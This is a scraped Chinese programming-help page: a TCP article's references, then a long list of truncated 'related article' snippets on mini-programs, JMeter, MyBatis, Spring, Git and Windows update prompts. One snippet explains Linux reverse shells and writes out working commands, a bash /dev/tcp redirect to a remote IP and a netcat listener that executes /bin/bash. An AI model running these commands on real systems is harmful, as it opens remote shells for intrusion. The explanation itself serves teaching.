[4] TCP/IP详解 卷1:协议.范建华 译.机械工业出版社

[5] 图解TCP/IP.竹下隆史.人民邮电出版社

[6] https://www.rfc-editor.org/rfc/rfc793.html

[7] https://draveness.me/whys-the-design-tcp-three-way-handshake

[9] https://draveness.me/whys-the-design-tcp-time-wait

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. 微信小程序封装请求接口

    目的 因为之前一直在使用vue开发,相较于微信小程序的wx.request里面的回调,还是感觉async和await使用起来比较方便,是以想继续使用此方法进行操作。同时,因为每次后端接口请求都要携带上token,为了方便操作&#xff0…...

    2024/4/28 16:33:14
  2. 想要高效使用Eagle?这些快捷键一定要知道!

    Eagle可以轻松管理大量图片、视频、音频素材,满足素材「收藏、整理、查找」的各种场景,支持 Mac 与 Windows 系统。想要使用快捷键更有效率的使用 Eagle 吗?快来学习一下Eagle这些快捷键吧! 常用的功能快捷键 复制所选图片&…...

    2024/4/27 23:03:48
  3. Jmeter 使用BeanShell 前置处理器,获取当天零点时间戳

    添加一个BeanShell 前置处理器 在Script中写入下面脚本: long nowTime System.currentTimeMillis(); long todayStartTime nowTime - ((nowTime TimeZone.getDefault().getRawOffset()) % (24 * 60 * 60 * 1000L)); vars.put("time",String.valueOf(to…...

    2024/4/28 19:04:53
  4. 进程调度简单模拟(先来先服务)

    本文作者偷懒了 没有写cpu和io的输入输出~ 要求: 输入: 若干程序文件,例如 Prog1, Prog2,…, Progk。每个程序文件 Progi的格式如下(每一行表示一条 指令): cpu cpu io cpu cpu … 输出: 第1列是时间,第2…...

    2024/4/28 12:09:36
  5. 微信小程序向左向右滑动事件

    <view bindtouchstart"touchstart" bindtouchend"touchend">向左向左向左&#xff0c;向右滑动啦啦啦</view>Page({data: {nowclientX: ""},touchstart(e) {console.log(e)this.setData({nowclientX: e.changedTouches[0].clientX}…...

    2024/4/28 5:05:01
  6. 初学python的scikit-learn库

    scikit-learn库是一个与机器学习相关的库&#xff0c;是python下强大的机器学习工具包&#xff0c;它提供了完善的机器学习工具箱&#xff0c;包括数据预处理、分类、回归、聚类、预测、模型分析等。 注意&#xff1a; scikit-learn依赖于numpy、scipy和matplotlib&#xff0…...

    2024/4/28 13:21:49
  7. 极简darknet环境搭建记录

    《极简darknet环境搭建记录》   darknet的环境搭建已经非常简单了&#xff0c;但是偶尔的一点小坑&#xff0c;可能会浪费一些时间&#xff0c;比如编译的时候使用CUDA报错&#xff0c;或者没找到OpenCV…简单记录一下&#xff0c;以后用的时候参考方便。 Key Words&#x…...

    2024/4/28 2:54:13
  8. MySQL问题记录--Can‘t connect to MySQL server on localhost (10061)解决方法

    https://www.cnblogs.com/technologylife/p/6010205.html...

    2024/4/28 1:50:40
  9. 牛笔了!阿里P8大佬熬夜15天,把所有Android第三方库整理成了PDF

    缘起 随着互联网企业的不断发展&#xff0c;产品项目中的模块越来越多&#xff0c;用户体验要求也越来越高&#xff0c;想实现小步快跑、快速迭代的目的越来越难&#xff0c;还有65535&#xff0c;应用之间的互相调用等等问题&#xff0c;插件化技术应用而生。如果没有插件化技…...

    2024/4/28 7:11:12
  10. hdu2028

    Lowest Common Multiple Plus Problem Description 求n个数的最小公倍数。 Input 输入包含多个测试实例&#xff0c;每个测试实例的开始是一个正整数n&#xff0c;然后是n个正整数。 Output 为每组测试数据输出它们的最小公倍数&#xff0c;每个测试实例的输出占一行。你可以…...

    2024/4/6 8:28:53
  11. 【Mybatis】Parameter ‘username‘ not found. Available parameters are [1, 0, param1, param2]

    Parameter ‘username’ not found. Available parameters are [1, 0, param1, param2] xxxMapper.java存在方法想要接收多个参数&#xff0c;可以使用两种方法 可以使用Param()注解进行制定对应的参数 /** Mybatis 中对于多个参数&#xff0c;其无法明确对应关系&#x…...

    2024/4/25 5:58:17
  12. linux反弹shell的原理详解

    完整命令 反弹shell命令&#xff1a; 1 2 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell&#xff1a; 1 nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&…...

    2024/4/28 15:09:36
  13. 26.spring系列- @EnableAspectJAutoProxy、@Aspect中通知顺序详解

    EnableAspectJAutoProxy自动为bean创建代理对象 EnableAspectJAutoProxy可以自动为spring容器中符合条件的bean创建代理对象&#xff0c;EnableAspectJAutoProxy需要结合Aspect注解一起使用。 案例 来一个配置 ComponentScan Configuration //开启AspectJ注解 EnableAspect…...

    2024/4/6 8:28:50
  14. 深度学习在三维点云上的应用(Deep Learning for 3D Point Clouds: A Survey)

    深度学习在三维点云上的应用 摘要 最近&#xff0c;点云由于在计算机视觉、自动驾驶和机器人技术等许多领域的广泛应用而受到越来越多的关注。深度学习作为一种主要的人工智能技术&#xff0c;已经成功地用于解决各种二维视觉问题。由于使用深度神经网络处理点云所面临的独特挑…...

    2024/4/27 12:11:37
  15. 自定义注解实现操作日志

    ​ 冷静 专注 集中 努力 自定义注解实现操作日志 ​ 在梳理保全中心逻辑的过程中&#xff0c;有业务场景需要记录过程中某些保全的操作日志&#xff0c;打算使用注解加切面的方式实现&#xff0c;此处先做个测试Demo 1.定义操作日志注解Log Retention 表示这是一个运行时注解…...

    2024/4/28 2:38:28
  16. pring-AOP

    /*** ClassName: AopTransation* Description:自定AOP 切面类 日志打印* author dongwei_qi* date 2020年6月10日**/ Component Aspect// 标识为切面类 public class AopLog {private static final Logger log LoggerFactory.getLogger(AopLog.class);Pointcut("executio…...

    2024/4/6 6:57:24
  17. kali下安装nessus漏扫工具

    1、nessus下载 2、上传到kali 解压缩dpkg -i Nessus-8.12.0-debian6_amd64.deb 然后执行命令启动 /bin/systemctl start nessusd.service 3、web登录安装 登录方式&#xff0c;https://kali的IP&#xff1a;8834 https://192.168.124.131:8834/ 通过邮箱获取激活码 https:/…...

    2024/4/27 11:00:38
  18. 2020-10-16如何分析食品是否合格了

    是指将宰后的整只猪胴体沿脊椎中线&#xff0c;纵向锯&#xff08;劈&#xff09;成两分体的猪肉。 鲜片猪肉宰后的片猪肉&#xff0c;经过凉肉&#xff0c;但不经过冷却工艺过翟的猪肉。  冻片猪肉是指冻结工艺过程&#xff0c;其后腿肌肉深层中心温度不高于-15℃的猪肉…...

    2024/4/27 19:04:11
  19. laravel任务调度重复执行

    文章目录项目场景问题描述原因分析解决方案项目场景 项目场景&#xff1a; laravel 数据库备份时任务调度重复执行 问题描述 在任何的一个项目中数据库里面的数据都是是要定时的进行备份来以防万一服务器出现问题时数据丢失。 在laravel 项目中我使用任务调度来实现数据库定时备…...

    2024/4/6 8:28:49
  20. Windows下升级git比较简单的办法

    Windows下git升级版本 1.升级 1.打开powershell 2.输入命令git update-git-for-windows 2.遇到的问题 OpenSSL SSL_read: Connection was reset, errno 10054 解决方法&#xff1a; git config --global http.sslVerify "false" Failed to connect to xxxx: Tim…...

    2024/4/6 8:28:47

最新文章

  1. 【C++】C\C++内存管理

    下面是围绕C\C内存管理这一块知识谈论相关的内存管理机制&#xff0c;有需要借鉴即可。 同时&#xff0c;我在下面也放了快速建立链表的模板&#xff0c;方便oj题目拿到vs上进行调试。 内存管理目录 1.CPP内存管理1.1new、delete关键字概念1.2特性1.3总结 2.new、delete的底层…...

    2024/4/29 0:08:19
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. cocos 数字滚动、数字过渡动画

    代码&#xff1a; //数字滚动 let sdk: any { a: start_score, } tween(sdk).to(1, { a: this.score }, { progress: (start, end, current, time) > { // this.lab.string Math.round(start (end - start) * time) ;//修改页面上的值 // console.log(修改ing, start (…...

    2024/4/27 8:49:13
  4. STM32-GPIO

    &#x1f913;&#x1f913;&#x1f913; 122.1 2.22.3 344.14.24.34.44.54.64.74.8 56788.18.299.19.2 STM32 第一个外设 1 对我们来说 和IO口没区别 ST公司非叫GPIO 2 2.1 第二个是超频了 F1 72M 这翻转就36 2.2 有cmos 和ttl两种数据手册里给出整个芯片最低电流为150ma 单…...

    2024/4/22 10:11:05
  5. linuxday05

    1、makedile原理&#xff08;增量编译生成代码&#xff09; # &#xff08;注释符&#xff09; 目标------依赖 目标不存在//目标比依赖旧才会执行命令&#xff1b; makefile的实现 1、命名要求&#xff08;Makefile/makefile&#xff09; 2、规则的集合 目标文件&#…...

    2024/4/25 23:59:48
  6. 416. 分割等和子集问题(动态规划)

    题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义&#xff1a;dp[i][j]表示当背包容量为j&#xff0c;用前i个物品是否正好可以将背包填满&#xff…...

    2024/4/28 4:04:40
  7. 【Java】ExcelWriter自适应宽度工具类(支持中文)

    工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...

    2024/4/28 12:01:04
  8. Spring cloud负载均衡@LoadBalanced LoadBalancerClient

    LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon&#xff0c;直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件&#xff0c;我们讨论Spring负载均衡以Spring Cloud2020之后版本为主&#xff0c;学习Spring Cloud LoadBalance&#xff0c;暂不讨论Ribbon…...

    2024/4/28 16:34:55
  9. TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案

    一、背景需求分析 在工业产业园、化工园或生产制造园区中&#xff0c;周界防范意义重大&#xff0c;对园区的安全起到重要的作用。常规的安防方式是采用人员巡查&#xff0c;人力投入成本大而且效率低。周界一旦被破坏或入侵&#xff0c;会影响园区人员和资产安全&#xff0c;…...

    2024/4/28 18:31:47
  10. VB.net WebBrowser网页元素抓取分析方法

    在用WebBrowser编程实现网页操作自动化时&#xff0c;常要分析网页Html&#xff0c;例如网页在加载数据时&#xff0c;常会显示“系统处理中&#xff0c;请稍候..”&#xff0c;我们需要在数据加载完成后才能继续下一步操作&#xff0c;如何抓取这个信息的网页html元素变化&…...

    2024/4/28 12:01:03
  11. 【Objective-C】Objective-C汇总

    方法定义 参考&#xff1a;https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...

    2024/4/28 12:01:03
  12. 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】

    &#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】&#x1f30f;题目描述&#x1f30f;输入格…...

    2024/4/28 12:01:03
  13. 【ES6.0】- 扩展运算符(...)

    【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数&#xff0…...

    2024/4/28 16:07:14
  14. 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?

    文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕&#xff0c;各大品牌纷纷晒出优异的成绩单&#xff0c;摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称&#xff0c;在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁&#xff0c;多个平台数据都表现出极度异常…...

    2024/4/28 23:42:05
  15. Go语言常用命令详解(二)

    文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令&#xff0c;这些命令可以帮助您在Go开发中进行编译、测试、运行和…...

    2024/4/28 9:00:42
  16. 用欧拉路径判断图同构推出reverse合法性:1116T4

    http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b&#xff0c;我们在 a i a_i ai​ 和 a i 1 a_{i1} ai1​ 之间连边&#xff0c; b b b 同理&#xff0c;则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然&#xff0…...

    2024/4/27 18:40:35
  17. 【NGINX--1】基础知识

    1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息&#xff0c;并安装一些有助于配置官方 NGINX 软件包仓库的软件包&#xff1a; apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...

    2024/4/28 4:14:21
  18. Hive默认分割符、存储格式与数据压缩

    目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限&#xff08;ROW FORMAT&#xff09;配置标准HQL为&#xff1a; ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...

    2024/4/27 13:52:15
  19. 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法

    文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中&#xff0c;传感器和控制器产生大量周…...

    2024/4/27 13:38:13
  20. --max-old-space-size=8192报错

    vue项目运行时&#xff0c;如果经常运行慢&#xff0c;崩溃停止服务&#xff0c;报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中&#xff0c;通过JavaScript使用内存时只能使用部分内存&#xff08;64位系统&…...

    2024/4/28 12:00:58
  21. 基于深度学习的恶意软件检测

    恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞&#xff0c;例如可以被劫持的合法软件&#xff08;例如浏览器或 Web 应用程序插件&#xff09;中的错误。 恶意软件渗透可能会造成灾难性的后果&#xff0c;包括数据被盗、勒索或网…...

    2024/4/28 12:00:58
  22. JS原型对象prototype

    让我简单的为大家介绍一下原型对象prototype吧&#xff01; 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定&#xff0c;每一个构造函数都有一个 prototype 属性&#xff0c;指向另一个对象&#xff0c;所以我们也称为原型对象…...

    2024/4/27 22:51:49
  23. C++中只能有一个实例的单例类

    C中只能有一个实例的单例类 前面讨论的 President 类很不错&#xff0c;但存在一个缺陷&#xff1a;无法禁止通过实例化多个对象来创建多名总统&#xff1a; President One, Two, Three; 由于复制构造函数是私有的&#xff0c;其中每个对象都是不可复制的&#xff0c;但您的目…...

    2024/4/28 7:31:46
  24. python django 小程序图书借阅源码

    开发工具&#xff1a; PyCharm&#xff0c;mysql5.7&#xff0c;微信开发者工具 技术说明&#xff1a; python django html 小程序 功能介绍&#xff1a; 用户端&#xff1a; 登录注册&#xff08;含授权登录&#xff09; 首页显示搜索图书&#xff0c;轮播图&#xff0…...

    2024/4/28 8:32:05
  25. 电子学会C/C++编程等级考试2022年03月(一级)真题解析

    C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...

    2024/4/27 20:28:35
  26. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  27. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  28. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  29. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  30. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  31. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  32. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  33. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  34. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  35. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  36. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  37. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  38. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  39. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  40. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  41. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  42. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  43. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  44. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  45. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57